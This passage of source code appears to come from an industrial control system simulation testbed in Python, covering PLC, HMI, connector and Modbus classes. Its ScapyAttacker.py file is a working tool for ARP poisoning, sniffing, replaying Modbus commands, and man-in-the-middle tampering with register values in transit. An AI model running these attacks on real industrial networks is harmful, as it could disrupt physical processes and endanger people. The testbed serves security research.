22 | self._connector = ConnectorFactory.build(connection)
23 | pass
24 |
25 | def _set(self, tag, value):
26 | return self._connector.set(tag, value)
27 |
28 | def _get(self, tag):
29 | return self._connector.get(tag)
30 |
31 |
32 | class SensorConnector(Physics):
33 | def __init__(self, connection):
34 | super().__init__(connection)
35 | self._sensors = {}
36 |
37 | def add_sensor(self, tag, fault):
38 | self._sensors[tag] = fault
39 |
40 | def read(self, tag):
41 | if tag in self._sensors.keys():
42 | value = self._get(tag)
43 | value += random.uniform(value, -1 * value) * self._sensors[tag]
44 | return value
45 | else:
46 | raise LookupError()
47 |
48 |
49 | class ActuatorConnector(Physics):
50 | def __init__(self, connection):
51 | super().__init__(connection)
52 | self._actuators = list()
53 |
54 | def add_actuator(self, tag):
55 | self._actuators.append(tag)
56 |
57 | def write(self, tag, value):
58 | if tag in self._actuators:
59 | self._set(tag, value)
60 | else:
61 | raise LookupError()
62 |
63 |
64 | class Runnable(ABC):
65 | COLOR_RED = '\033[91m'
66 | COLOR_GREEN = '\033[92m'
67 | COLOR_BLUE = '\033[94m'
68 | COLOR_CYAN = '\033[96m'
69 | COLOR_YELLOW = '\033[93m'
70 | COLOR_BOLD = '\033[1m'
71 | COLOR_PURPLE = '\033[35m'
72 |
73 | def __init__(self, name, loop):
74 | validate_type(name, 'name', str)
75 | validate_type(loop, 'loop cycle', int)
76 |
77 | self.__name = name
78 | self.__loop_cycle = loop
79 |
80 |
81 |
82 | # self.__loop_process = Process(target=self.do_loop, args=())
83 | self.stop_event = threading.Event()
84 | self.__loop_process = threading.Thread(target=self.do_loop, args=(self.stop_event,))
85 | self._last_loop_time = 0
86 | self._current_loop_time = 0
87 | self._start_time = 0
88 | self._last_logic_start = 0
89 | self._last_logic_end = 0
90 | self._initialize_logger()
91 | self.__clear_scr = False
92 | self._std = sys.stdin.fileno()
93 |
94 | self.report("Created", logging.INFO)
95 |
96 | def _initialize_logger(self):
97 | self._logger = self.setup_logger(
98 | "logs-" + self.name(),
99 | logging.Formatter('%(asctime)s %(levelname)s %(message)s')
100 | )
101 |
102 | def _set_clear_scr(self, value):
103 | self.__clear_scr = value
104 |
105 | def _set_logger_level(self, level=logging.DEBUG):
106 | self._logger.setLevel(level)
107 |
108 | @staticmethod
109 | def setup_logger(name, format_str, level=logging.INFO, file_dir ="./logs", file_ext =".log", write_mode="w"):
110 | """To setup as many loggers as you want"""
111 |
112 | """
113 | logging.basicConfig(filename="./logs/log-" + self.__name +".log",
114 | format='[%(levelname)s] [%(asctime)s] %(message)s ',
115 | filemode='w')
116 | """
117 | """To setup as many loggers as you want"""
118 | if not os.path.exists(file_dir):
119 | os.makedirs(file_dir)
120 |
121 | file_path = os.path.join(file_dir,name) + file_ext
122 | handler = logging.FileHandler(file_path, mode=write_mode)
123 | handler.setFormatter(format_str)
124 |
125 | # Let us Create an object
126 | logger = logging.getLogger(name)
127 |
128 | # Now we are going to Set the threshold of logger to DEBUG
129 | logger.setLevel(level)
130 | logger.addHandler(handler)
131 | return logger
132 |
133 | def name(self):
134 | return self.__name
135 |
136 | def start(self):
137 | self.__loop_process.start()
138 |
139 | def stop(self):
140 | self._before_stop()
141 | self.stop_event.set()
142 | #self.__loop_process.terminate()
143 | self._after_stop()
144 | self.report("stopped", logging.INFO)
145 |
146 | def _after_stop(self):
147 | pass
148 |
149 | def _before_stop(self):
150 | pass
151 |
152 | def do_loop(self, stop_event):
153 | try:
154 | self.report("started", logging.INFO)
155 | self._before_start()
156 |
157 | self._start_time = self._current_loop_time = current_milli_cycle_time(self.__loop_cycle)
158 | while not stop_event.is_set():
159 |
160 | self._last_loop_time = self._current_loop_time
161 | wait = self._last_loop_time + self.__loop_cycle - current_milli_time()
162 |
163 | if wait > 0:
164 | time.sleep(wait / 1000)
165 |
166 |
167 | self._current_loop_time = current_milli_cycle_time(self.__loop_cycle)
168 | self._last_logic_start = current_milli_time()
169 |
170 | self._pre_logic_update()
171 | self._logic()
172 | self._last_logic_end = current_milli_time()
173 | self._post_logic_update()
174 | except Exception as e:
175 | self.report(e.__str__(), logging.fatal)
176 | raise e
177 |
178 |
179 | except Exception as e:
180 | self.report(e.__str__(), logging.fatal)
181 | raise e
182 |
183 | def _before_start(self):
184 | sys.stdin = os.fdopen(self._std)
185 |
186 | @abstractmethod
187 | def _logic(self):
188 | pass
189 |
190 | def _post_logic_update(self):
191 | pass
192 |
193 | def _pre_logic_update(self):
194 | if self.__clear_scr:
195 | os.system('clear')
196 |
197 | def get_loop_latency(self):
198 | return self._last_logic_start - self._last_loop_time - self.__loop_cycle
199 |
200 | def get_alive_time(self):
201 | return self._current_loop_time - self._start_time
202 |
203 | def get_logic_execution_time(self):
204 | return self._last_logic_end - self._last_logic_start
205 |
206 | def report(self, msg, level=logging.NOTSET):
207 | name_msg = "[{}] {}".format(self.name(), msg)
208 |
209 | if level == logging.NOTSET:
210 | self.__show_console(msg)
211 |
212 | elif level == logging.DEBUG:
213 | self._logger.debug(name_msg)
214 | self.__show_console(self._make_text("[DEBUG] " + msg, self.COLOR_CYAN))
215 |
216 | elif level == logging.INFO:
217 | self._logger.info(name_msg)
218 | self.__show_console(self._make_text("[INFO] " + msg, self.COLOR_GREEN))
219 |
220 | elif level == logging.WARNING or level == logging.WARN:
221 | self._logger.warning(name_msg)
222 | self.__show_console(self._make_text("[WARNING] " + msg, self.COLOR_YELLOW))
223 |
224 | elif level == logging.ERROR:
225 | self._logger.error(name_msg)
226 | self.__show_console(self._make_text("[ERROR] " + msg, self.COLOR_RED))
227 |
228 | elif level == logging.FATAL or level == logging.CRITICAL:
229 | self._logger.fatal(name_msg)
230 | self.__show_console(self._make_text("[FATAL] " + msg, self.COLOR_RED))
231 |
232 | def __show_console(self, msg):
233 | timestamp = self._make_text( datetime.now().strftime("%H:%M:%S"), self.COLOR_PURPLE)
234 | name = self._make_text(self.name(), self.COLOR_CYAN)
235 | print('[{} - {}]\t{}'.format(name, timestamp, msg), flush=True)
236 |
237 | @staticmethod
238 | def _make_text(msg, color):
239 | return color + msg + '\033[0m'
240 |
241 | class HIL(Runnable, Physics, ABC):
242 | @abstractmethod
243 | def __init__(self, name, connection, loop=SpeedConfig.PROCESS_PERIOD):
244 | Runnable.__init__(self, name, loop)
245 | Physics.__init__(self, connection)
246 |
247 |
248 | class DcsComponent(Runnable):
249 | def __init__(self, name, tags, plcs, loop):
250 | Runnable.__init__(self, name, loop)
251 | self.plcs = plcs
252 | self.tags = tags
253 | self.clients = {}
254 | self.__init_clients()
255 |
256 | def __init_clients(self):
257 | for plc_id in self.plcs:
258 | plc = self.plcs[plc_id]
259 | self.clients[plc_id] = (ProtocolFactory.create_client(plc['protocol'], plc['ip'], plc['port']))
260 |
261 | def _send(self, tag, value):
262 | tag_id = self.tags[tag]['id']
263 | plc_id = self.tags[tag]['plc']
264 | self.clients[plc_id].send(tag_id, value)
265 |
266 | def _receive(self, tag):
267 |
268 | tag_id = self.tags[tag]['id']
269 | plc_id = self.tags[tag]['plc']
270 |
271 | return self.clients[plc_id].receive(tag_id)
272 |
273 | def _is_input_tag(self, tag):
274 | return self.tags[tag]['type'] == 'input'
275 |
276 | def _is_output_tag(self, tag):
277 | return self.tags[tag]['type'] == 'output'
278 |
279 | def _get_tag_id(self, tag):
280 | return self.tags[tag]['id']
281 |
282 | def _get_tag_fault(self, tag):
283 | return self.tags[tag]['fault']
284 |
285 |
286 | class PLC(DcsComponent):
287 | @abstractmethod
288 | def __init__(self,
289 | plc_id,
290 | sensor_connector,
291 | actuator_connector,
292 | tags,
293 | plcs,
294 | loop=SpeedConfig.DEFAULT_PLC_PERIOD_MS):
295 |
296 | name = plcs[plc_id]['name']
297 | DcsComponent.__init__(self, name, tags, plcs, loop)
298 | self._sensor_connector = sensor_connector
299 | self._actuator_connector = actuator_connector
300 |
301 | self.id = plc_id
302 | self.ip = plcs[plc_id]['ip']
303 | self.port = plcs[plc_id]['port']
304 | self.protocol = plcs[plc_id]['protocol']
305 |
306 | self.__init_sensors()
307 | self.__init_actuators()
308 |
309 | self.server = ProtocolFactory.create_server(self.protocol, self.ip, self.port)
310 | self.report('creating the server on IP = {}:{}'.format(self.ip, self.port), logging.INFO)
311 |
312 | self._snapshot_recorder = self.setup_logger("snapshots_" + self.name(), logging.Formatter('%(message)s'), file_ext=".csv")
313 | self.__record_variables = False;
314 |
315 | def set_record_variables(self, value):
316 | self.__record_variables = value
317 |
318 |
319 | def _post_logic_update(self):
320 | DcsComponent._post_logic_update(self)
321 | self._store_received_values()
322 | if self.__record_variables:
323 | self._record_variables()
324 |
325 | def _store_received_values(self):
326 | for tag_name, tag_data in self.tags.items():
327 | if not self._is_local_tag(tag_name):
328 | continue
329 |
330 | if tag_data['type'] == 'output':
331 | self._set(tag_name, self.server.get(tag_data['id']))
332 | elif tag_data['type'] == 'input':
333 | self.server.set(tag_data['id'], self._get(tag_name))
334 |
335 | def _record_variables(self, header=False):
336 | snapshot = ""
337 |
338 | if header:
339 | snapshot += "time, current_loop, loop_latency, logic_execution_time, "
340 | else:
341 | snapshot += "{}, {}, {}, {}, ".format(
342 | datetime.now(),
343 | self._current_loop_time,
344 | self.get_loop_latency(),
345 | self.get_logic_execution_time()
346 | )
347 |
348 | for tag_name, tag_data in self.tags.items():
349 | if not self._is_local_tag(tag_name):
350 | continue
351 | if header:
352 | snapshot += "{}({}), ".format(tag_name, tag_data['id'])
353 | else:
354 | snapshot += "{}, ".format(self._get(tag_name))
355 |
356 | self._snapshot_recorder.info(snapshot)
357 |
358 | def __init_sensors(self):
359 | for tag in self.tags:
360 | if self._is_input_tag(tag):
361 | self._sensor_connector.add_sensor(tag, self._get_tag_fault(tag))
362 |
363 | def __init_actuators(self):
364 | for tag in self.tags:
365 | if self._is_output_tag(tag):
366 | self._actuator_connector.add_actuator(tag)
367 |
368 | def _get(self, tag):
369 | if self._is_local_tag(tag):
370 |
371 | if self._is_input_tag(tag):
372 | return self._sensor_connector.read(tag)
373 | else:
374 | return self.server.get(self._get_tag_id(tag))
375 | else:
376 | try:
377 | return self._receive(tag)
378 | except Exception as e:
379 | self.report('receive null value for tag:{}'.format(tag), logging.WARNING)
380 | return -1
381 |
382 | def _set(self, tag, value):
383 | if self._is_local_tag(tag):
384 | self.server.set(self._get_tag_id(tag), value)
385 | return self._actuator_connector.write(tag, value)
386 | else:
387 | self._send(tag, value)
388 |
389 |
390 | def _is_local_tag(self, tag):
391 | return self.tags[tag]['plc'] == self.id
392 |
393 | def _before_start(self):
394 | self.server.start()
395 | for tag, value in self.tags.items():
396 | if self._is_output_tag(tag) and self._is_local_tag(tag):
397 | self._set(tag, value['default'])
398 | self._record_variables(True)
399 |
400 | def stop(self):
401 | self.server.stop()
402 | DcsComponent.stop(self)
403 |
404 | def _check_manual_input(self, control_tag, actuator_tag):
405 |
406 | mode = self._get(control_tag)
407 |
408 | if mode == 1:
409 | self._set(actuator_tag, 0)
410 | return True
411 | elif mode == 2:
412 | self._set(actuator_tag, 1)
413 | return True
414 | return False
415 |
416 |
417 | class HMI(DcsComponent):
418 | def __init__(self, name, tags, plcs, loop=SpeedConfig.DEFAULT_PLC_PERIOD_MS):
419 | DcsComponent.__init__(self, name, tags, plcs, loop)
420 |
421 | def _before_start(self):
422 | DcsComponent._before_start(self)
423 | self._set_clear_scr(True)
424 |
425 | def _logic(self):
426 | self._display()
427 | self._operate()
428 |
429 | def _display(self):
430 | pass
431 |
432 | def _operate(self):
433 | pass
434 |
435 |
436 |
437 |
438 |
439 |
440 |
441 |
442 |
443 |
444 |
445 |
446 |
447 |
448 |
449 |
450 |
451 |
452 |
453 |
454 |
455 |
456 |
457 |
458 |
459 |
--------------------------------------------------------------------------------
/src/ics_sim/ModbusCommand.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 |
3 | from protocol import ClientModbus
4 |
5 |
6 | class ModbusCommand:
7 | clients = dict()
8 |
9 | command_write_multiple_registers = 16
10 | command_read_holding_registers = 3
11 |
12 | def __init__(self, sip, dip, port, command, tag, value, new_value, word_num=2):
13 | self.sip = sip
14 | self.dip = dip
15 | self.port = port
16 | self.command = command
17 | self.tag = int(tag)
18 | self.address = tag * word_num
19 | self.value = value
20 | self.time = datetime.now().timestamp()
21 | self.new_value = new_value
22 |
23 | def __str__(self):
24 | return 'sip:{} dip{} port:{} command:{} address:{} value:{} time:{}'.format(
25 | self.sip, self.dip, self.port, self.command, self.address, self.value, self.new_value ,self.time)
26 |
27 | def send_fake(self):
28 | if not ModbusCommand.clients.keys().__contains__((self.dip, self.port)):
29 | ModbusCommand.clients[(self.dip, self.port)] = ClientModbus(self.dip, self.port)
30 |
31 | client = ModbusCommand.clients[(self.dip, self.port)]
32 |
33 | if self.command == ModbusCommand.command_read_holding_registers:
34 | client.receive(self.tag)
35 |
36 | if self.command == ModbusCommand.command_write_multiple_registers:
37 | client.send(self.tag, self.value)
38 |
39 |
--------------------------------------------------------------------------------
/src/ics_sim/ModbusPackets.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 |
3 |
4 | class ModbusTCP(Packet):
5 | name = "modbus_tcp"
6 | fields_desc = [ShortField("TransID", 0),
7 | ShortField("ProtocolID", 0),
8 | ShortField("Length", 0),
9 | ByteField("UnitID", 0)
10 | ]
11 |
12 |
13 | class ModbusWriteRequest(Packet):
14 | name = "modbus_tcp_write"
15 | fields_desc = [ByteField("Command", 0),
16 | ShortField("Reference", 0),
17 | ShortField("WordCnt", 0),
18 | ByteField("ByteCnt", 0),
19 | ShortField("Data0", 0),
20 | ShortField("Data1", 0),
21 | ]
22 |
23 |
24 | class ModbusReadRequestOrWriteResponse(Packet):
25 | name = "modbus_tcp_read_request"
26 | fields_desc = [ByteField("Command", 0),
27 | ShortField("Reference", 0),
28 | ShortField("WordCnt", 0),
29 | ]
30 |
31 |
32 | class ModbusReadResponse(Packet):
33 | name = "modbus_tcp_read_response"
34 | fields_desc = [ByteField("Command", 0),
35 | ByteField("ByteCnt", 0),
36 | ShortField("Data0", 0),
37 | ShortField("Data1", 0),
38 | ]
39 |
--------------------------------------------------------------------------------
/src/ics_sim/NetworkNode.py:
--------------------------------------------------------------------------------
1 | class NetworkNode:
2 | def __init__(self, ip, mac):
3 | self.IP = ip
4 | self.MAC = mac
5 |
6 | def is_switch(self):
7 | return self.IP.split('.')[3] == '1'
8 |
9 | def __str__(self):
10 | return 'IP:{} MAC:{}'.format(self.IP, self.MAC)
11 |
--------------------------------------------------------------------------------
/src/ics_sim/ScapyAttacker.py:
--------------------------------------------------------------------------------
1 | import argparse
2 |
3 | #from matplotlib.backends.backend_pdf import Reference
4 | from scapy.layers.inet import IP
5 | from scapy.layers.l2 import ARP, Ether
6 | from ModbusPackets import *
7 | from NetworkNode import NetworkNode
8 | from ModbusCommand import ModbusCommand
9 | from protocol import ModbusBase
10 |
11 |
12 | class ScapyAttacker:
13 | ARP_MSG_CNT = 2
14 | BROADCAST_ADDRESS = "ff:ff:ff:ff:ff:ff"
15 |
16 | sniff_commands = []
17 | sniff_time = None
18 | error = 0
19 | modbus_base = ModbusBase()
20 |
21 | @staticmethod
22 | def discovery(dst):
23 | nodes = []
24 | ethernet_layer = Ether(dst=ScapyAttacker.BROADCAST_ADDRESS)
25 | arp_layer = ARP(pdst=dst)
26 | ans, un_ans = srp(ethernet_layer / arp_layer, timeout=ScapyAttacker.ARP_MSG_CNT)
27 |
28 | for sent, received in ans:
29 | nodes.append(NetworkNode(received[ARP].psrc, received[ARP].hwsrc))
30 | return nodes
31 |
32 | @staticmethod
33 | def get_mac_address(ip_address):
34 | pkt = Ether(dst=ScapyAttacker.BROADCAST_ADDRESS) / ARP(pdst=ip_address)
35 | answered, unanswered = srp(pkt, timeout=ScapyAttacker.ARP_MSG_CNT, verbose=0)
36 |
37 | for sent, received in answered:
38 | return received[ARP].hwsrc
39 |
40 | @staticmethod
41 | def poison_arp_table(src, dst):
42 | print("Poisoning {} <==> {} .... started".format(src.IP, dst.IP), end='')
43 | gateway_to_target = ARP(op=2, hwdst=src.MAC, psrc=dst.IP, pdst=src.IP)
44 | target_to_gateway = ARP(op=2, hwdst=dst.MAC, psrc=src.IP, pdst=dst.IP)
45 |
46 | try:
47 | send(gateway_to_target, count=ScapyAttacker.ARP_MSG_CNT, verbose=0)
48 | send(target_to_gateway, count=ScapyAttacker.ARP_MSG_CNT, verbose=0)
49 |
50 | except Exception as e:
51 | sys.exit()
52 |
53 | print("[DONE]")
54 |
55 | @staticmethod
56 | def poison_arp_tables(nodes):
57 | print("\n Group poisoning [started]...")
58 |
59 | try:
60 | for src in nodes:
61 | for dst in nodes:
62 | if src.is_switch() or dst.is_switch() or src.IP <= dst.IP:
63 | continue
64 | ScapyAttacker.poison_arp_table(src, dst)
65 |
66 | except Exception as e:
67 | sys.exit()
68 |
69 | print("Group poisoning [DONE]")
70 |
71 | @staticmethod
72 | def restore_arp_table(src, dst):
73 | print("Restoring... {} and {} .... started".format(src.IP, dst.IP), end='')
74 |
75 | dst_src_fix = ARP(op=2, hwsrc=dst.MAC, psrc=dst.IP, pdst=src.IP, hwdst=ScapyAttacker.BROADCAST_ADDRESS)
76 | arp_layer = ARP(op=2, hwsrc=src.MAC, psrc=src.IP, pdst=dst.IP, hwdst=ScapyAttacker.BROADCAST_ADDRESS)
77 | send(dst_src_fix, count=ScapyAttacker.ARP_MSG_CNT, verbose=0)
78 | send(arp_layer, count=ScapyAttacker.ARP_MSG_CNT, verbose=0)
79 | print("[DONE]")
80 |
81 | @staticmethod
82 | def restore_arp_tables(nodes):
83 | print("Group restoring [started]... ")
84 | for src in nodes:
85 | for dst in nodes:
86 | if src.is_switch() or dst.is_switch() or src.IP <= dst.IP:
87 | continue
88 |
89 | ScapyAttacker.restore_arp_table(src, dst)
90 | print("Group restoring [DONE] ")
91 |
92 | @staticmethod
93 | def sniff_callback(pkt):
94 | if not pkt['Ethernet'].dst.endswith(Ether().src):
95 | return
96 |
97 | if not pkt.haslayer('TCP') or len(pkt['TCP'].payload) <= 0: # sniffing TCP payload is not possible
98 | return
99 |
100 | tcp_packet = ModbusTCP(pkt['TCP'].payload.load)
101 | if tcp_packet.Length == 6 or tcp_packet.Length == 11:
102 | if tcp_packet.Length == 6:
103 | modbus_packet = ModbusReadRequestOrWriteResponse(tcp_packet.payload.load)
104 | value = 0
105 | if modbus_packet.Command == ModbusCommand.command_write_multiple_registers:
106 | return
107 | else: # tcp_packet.Length == 11:
108 | modbus_packet = ModbusWriteRequest(tcp_packet.payload.load)
109 | value = ScapyAttacker.modbus_base.decode([modbus_packet.Data0, modbus_packet.Data1])
110 |
111 | command = ModbusCommand(
112 | pkt['IP'].src,
113 | pkt['IP'].dst,
114 | pkt['TCP'].dport,
115 | modbus_packet.Command,
116 | int(modbus_packet.Reference) /2, # 2 in the work_num
117 | value,
118 | value,
119 |
120 | )
121 |
122 | ScapyAttacker.sniff_commands.append(command)
123 | print('*', end='')
124 |
125 | @staticmethod
126 | def inject_callback(pkt):
127 |
128 | if not pkt['Ethernet'].dst.endswith(Ether().src):
129 | return
130 |
131 | if not pkt.haslayer('IP'):
132 | return
133 |
134 | new_packet = IP(dst=pkt['IP'].dst, src=pkt['IP'].src)
135 | new_packet['IP'].payload = pkt['IP'].payload
136 |
137 |
138 |
139 | if new_packet.haslayer('TCP') and len(new_packet['TCP'].payload) > 0:
140 | tcp_packet = ModbusTCP(pkt['TCP'].payload.load)
141 | if tcp_packet.Length == 7 or tcp_packet.Length == 11:
142 | if tcp_packet.Length == 7:
143 | modbus_packet = ModbusReadResponse(tcp_packet.payload.load)
144 | else: # tcp_packet.Length == 11:
145 | modbus_packet = ModbusWriteRequest(tcp_packet.payload.load)
146 |
147 | value = ScapyAttacker.modbus_base.decode([modbus_packet.Data0, modbus_packet.Data1])
148 |
149 | new_value = value + (value * ScapyAttacker.error)
150 | values = ScapyAttacker.modbus_base.encode(new_value)
151 |
152 | offset = len(new_packet['TCP'].payload.load) - 4
153 | new_packet['TCP'].payload.load = (
154 | new_packet['TCP'].payload.load[:offset] +
155 | values[0].to_bytes(2, 'big') +
156 | values[1].to_bytes(2, 'big'))
157 |
158 | reference = 0
159 | if tcp_packet.Length == 11:
160 | reference = modbus_packet.Reference
161 |
162 | command = ModbusCommand(
163 | pkt['IP'].src,
164 | pkt['IP'].dst,
165 | pkt['TCP'].dport,
166 | modbus_packet.Command,
167 | reference,
168 | value,
169 | new_value,
170 | datetime.now().timestamp()
171 | )
172 | ScapyAttacker.sniff_commands.append(command)
173 |
174 | del new_packet[IP].chksum
175 | del new_packet[IP].payload.chksum
176 | send(new_packet)
177 |
178 | @staticmethod
179 | def clear_sniffed():
180 | ScapyAttacker.sniff_commands = []
181 | ScapyAttacker.sniff_time = None
182 |
183 | @staticmethod
184 | def start_sniff(sniff_callback_func, filter_string, timeout):
185 | ScapyAttacker.clear_sniffed()
186 | ScapyAttacker.sniff_time = datetime.now().timestamp()
187 | sniff(prn=sniff_callback_func, filter=filter_string, timeout=timeout)
188 | print()
189 |
190 | @staticmethod
191 | def scan_link(target_ip, gateway_ip, timeout):
192 | # assuming we have performed the reverse attack, we know the following
193 | ScapyAttacker.clear_sniffed()
194 |
195 | target_mac = ScapyAttacker.get_mac_address(target_ip)
196 | gateway_mac = ScapyAttacker.get_mac_address(gateway_ip)
197 |
198 | ScapyAttacker.poison_arp_table(NetworkNode(gateway_ip, gateway_mac),
199 | NetworkNode(target_ip, target_mac))
200 | ScapyAttacker.start_sniff(ScapyAttacker.sniff_callback, "ip host " + target_ip, timeout)
201 | ScapyAttacker.restore_arp_table(NetworkNode(gateway_ip, gateway_mac),
202 | NetworkNode(target_ip, target_mac))
203 |
204 | return ScapyAttacker.sniff_commands
205 |
206 | @staticmethod
207 | def scan_network(target, timeout):
208 | ScapyAttacker.clear_sniffed()
209 |
210 | nodes = ScapyAttacker.discovery(target)
211 | ScapyAttacker.poison_arp_tables(nodes)
212 | ScapyAttacker.start_sniff(ScapyAttacker.sniff_callback, "", timeout)
213 | ScapyAttacker.restore_arp_tables(nodes)
214 |
215 | return ScapyAttacker.sniff_commands
216 |
217 | @staticmethod
218 | def inject_link(target_ip, gateway_ip, timeout):
219 | target_mac = ScapyAttacker.get_mac_address(target_ip)
220 | gateway_mac = ScapyAttacker.get_mac_address(gateway_ip)
221 |
222 | ScapyAttacker.poison_arp_table(NetworkNode(gateway_ip, gateway_mac),
223 | NetworkNode(target_ip, target_mac))
224 | ScapyAttacker.start_sniff(ScapyAttacker.inject_callback, "ip host " + target_ip, timeout)
225 | ScapyAttacker.restore_arp_table(NetworkNode(gateway_ip, gateway_mac),
226 | NetworkNode(target_ip, target_mac))
227 |
228 | @staticmethod
229 | def inject_network(target, timeout):
230 | nodes = ScapyAttacker.discovery(target)
231 | ScapyAttacker.poison_arp_tables(nodes)
232 | ScapyAttacker.start_sniff(ScapyAttacker.inject_callback, "", timeout)
233 | ScapyAttacker.restore_arp_tables(nodes)
234 |
235 | @staticmethod
236 | def scan_attack(target, log):
237 | nodes = ScapyAttacker.discovery(target)
238 | log.info('# Found {} in the network {}:'.format(len(nodes), target))
239 | for node in nodes:
240 | log.info(str(node))
241 |
242 | @staticmethod
243 | def replay_attack(target, sniff_time, replay_cnt, log):
244 | if "/" in target:
245 | ScapyAttacker.scan_network(target, sniff_time)
246 | else:
247 | ScapyAttacker.scan_link(target.split(",")[0], target.split(",")[1], sniff_time)
248 |
249 | for i in range(replay_cnt):
250 | print("Replaying {}".format(i))
251 | start = datetime.now().timestamp()
252 | for command in ScapyAttacker.sniff_commands:
253 | delay = (command.time - ScapyAttacker.sniff_time) - (datetime.now().timestamp() - start)
254 | if delay > 0:
255 | time.sleep(delay)
256 | command.send_fake()
257 |
258 | log.info('# Sniffed {} packets in the network {}:'.format(len(ScapyAttacker.sniff_commands), target))
259 | for cmd in ScapyAttacker.sniff_commands:
260 | log.info(str(cmd))
261 |
262 | print('# Replayed sniffed commands for {} times'.format(replay_cnt))
263 |
264 | @staticmethod
265 | def mitm_attack(target, sniff_time, error, log):
266 | ScapyAttacker.error = error
267 | if "/" in target:
268 | ScapyAttacker.inject_network(target, sniff_time)
269 | else:
270 | ScapyAttacker.inject_link(target.split(",")[0], target.split(",")[1], sniff_time)
271 |
272 | log.info('# Changed {} packets in the network {}:'.format(len(ScapyAttacker.sniff_commands), target))
273 | for cmd in ScapyAttacker.sniff_commands:
274 | log.info(str(cmd))
275 |
276 |
277 | if __name__ == '__main__':
278 | parser = argparse.ArgumentParser(description='PCAP reader')
279 | parser.add_argument('--output', metavar='',
280 | help='csv file to output', required=True)
281 | parser.add_argument('--attack', metavar='determine type of attack',
282 | help='attack type could be scan, replay, mitm', required=True)
283 |
284 | parser.add_argument('--timeout', metavar='specify attack timeout', type=int, default=10,
285 | help='attack timeout for attacks, MitM/Replay attacks: attack seconds, scan: packets',
286 | required=False)
287 |
288 | parser.add_argument('--target', metavar='determine attack target',
289 | help='determine attack target', required=False)
290 | parser.add_argument('--parameter', metavar='determine attack parameter', type=float, default=5,
291 | help='determine attack parameter', required=False)
292 |
293 | parser.parse_args()
294 | args = parser.parse_args()
295 |
296 | handler = logging.FileHandler(args.output, mode="w")
297 | handler.setFormatter(logging.Formatter('%(message)s'))
298 | logger = logging.getLogger(args.attack)
299 | logger.setLevel(logging.INFO)
300 | logger.addHandler(handler)
301 |
302 | if args.attack == 'scan':
303 | ScapyAttacker.scan_attack(args.target, logger)
304 |
305 | if args.attack == 'replay':
306 | ScapyAttacker.replay_attack(args.target, args.timeout, int(args.parameter), logger)
307 |
308 | if args.attack == 'mitm':
309 | ScapyAttacker.mitm_attack(args.target, args.timeout, args.parameter, logger)
310 |
311 |
312 |
--------------------------------------------------------------------------------
/src/ics_sim/configs.py:
--------------------------------------------------------------------------------
1 | class SpeedConfig:
2 | # Constants
3 | SPEED_MODE_FAST = 'fast'
4 | SPEED_MODE_MEDIUM = 'medium'
5 | SPEED_MODE_SLOW = 'slow'
6 |
7 | PLC_PERIOD = {
8 | SPEED_MODE_FAST: 200,
9 | SPEED_MODE_MEDIUM: 500,
10 | SPEED_MODE_SLOW: 1000
11 | }
12 | PROCESS_PERIOD = {
13 | SPEED_MODE_FAST: 50,
14 | SPEED_MODE_MEDIUM: 100,
15 | SPEED_MODE_SLOW: 200
16 | }
17 |
18 | # you code configure SPEED_MODE
19 | SPEED_MODE = SPEED_MODE_FAST
20 |
21 | DEFAULT_PLC_PERIOD_MS = PLC_PERIOD[SPEED_MODE]
22 | DEFAULT_FP_PERIOD_MS = PROCESS_PERIOD[SPEED_MODE]
23 |
24 |
25 |
--------------------------------------------------------------------------------
/src/ics_sim/connectors.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sqlite3
3 | import memcache
4 | from abc import abstractmethod, ABC
5 | from os.path import splitext
6 |
7 | from pyModbusTCP.client import ModbusClient
8 |
9 | from ics_sim.helper import debug, error, validate_type
10 | import json
11 |
12 | from ics_sim.protocol import ClientModbus
13 |
14 |
15 | class Connector(ABC):
16 |
17 | """Base class."""
18 | def __init__(self, connection):
19 | # TODO: Check the input
20 | self._name = connection['name']
21 | self._path = connection['path']
22 | self._connection = connection
23 |
24 | @abstractmethod
25 | def initialize(self, values, clear_old=False):
26 | pass
27 |
28 | @abstractmethod
29 | def set(self, key, value):
30 | pass
31 |
32 | @abstractmethod
33 | def get(self, key):
34 | pass
35 |
36 |
37 | class SQLiteConnector(Connector):
38 | def __init__(self, connection):
39 | Connector.__init__(self, connection)
40 | self._key = 'name'
41 | self._value = 'value'
42 |
43 | def initialize(self, values, clear_old=True):
44 | if clear_old and os.path.isfile(self._path):
45 | os.remove(self._path)
46 |
47 | schema = """
48 | CREATE TABLE {} (
49 | {} TEXT NOT NULL,
50 | {} REAL,
51 | PRIMARY KEY ({})
52 | );
53 | """.format(self._name, self._key, self._value, self._key)
54 | with sqlite3.connect(self._path) as conn:
55 | conn.executescript(schema)
56 |
57 | init_template = """
58 | INSERT INTO {}""".format(self._name) + " VALUES ('{}', {});"
59 |
60 | schema_init = ""
61 | for item in values:
62 | schema_init += init_template.format(*item)
63 |
64 | with sqlite3.connect(self._path) as conn:
65 | conn.executescript(schema_init)
66 |
67 | def set(self, key, value):
68 | set_query = 'UPDATE {} SET {} = ? WHERE {} = ?'.format(
69 | self._name,
70 | self._value,
71 | self._key)
72 | with sqlite3.connect(self._path) as conn:
73 | try:
74 | cursor = conn.cursor()
75 | cursor.execute(set_query, [value, key])
76 | conn.commit()
77 | return value
78 |
79 | except sqlite3.Error as e:
80 | error(f'_set in ICSSIM connection {e.args[0]} for setting tag {key}')
81 |
82 | def get(self, key):
83 | get_query = """SELECT {} FROM {} WHERE {} = ?""".format(
84 | self._value,
85 | self._name,
86 | self._key)
87 |
88 | with sqlite3.connect(self._path) as conn:
89 | try:
90 |
91 | cursor = conn.cursor()
92 | cursor.execute(get_query, [key])
93 | record = cursor.fetchone()
94 | return record[0]
95 |
96 | except sqlite3.Error as e:
97 | error(f'_get in ICSSIM connection {e.args[0]} for getting tag {key}')
98 |
99 |
100 | class MemcacheConnector(Connector):
101 | def __init__(self, connection):
102 | Connector.__init__(self, connection)
103 | self._key = 'name'
104 | self._value = 'value'
105 | self.memcached_client = memcache.Client([self._path], debug=0)
106 |
107 |
108 | def initialize(self, values, clear_old=False):
109 | if clear_old:
110 | os.system('/etc/init.d/memcached restart')
111 |
112 | for key, value in values:
113 | self.memcached_client.set(key, value)
114 |
115 | def set(self, key, value):
116 | self.memcached_client.set(key, value)
117 |
118 | def get(self, key):
119 | return self.memcached_client.get(key)
120 |
121 | def __del__(self):
122 | self.memcached_client.disconnect_all()
123 |
124 |
125 | class HardwareConnector(Connector, ABC):
126 | def __init__(self, connection):
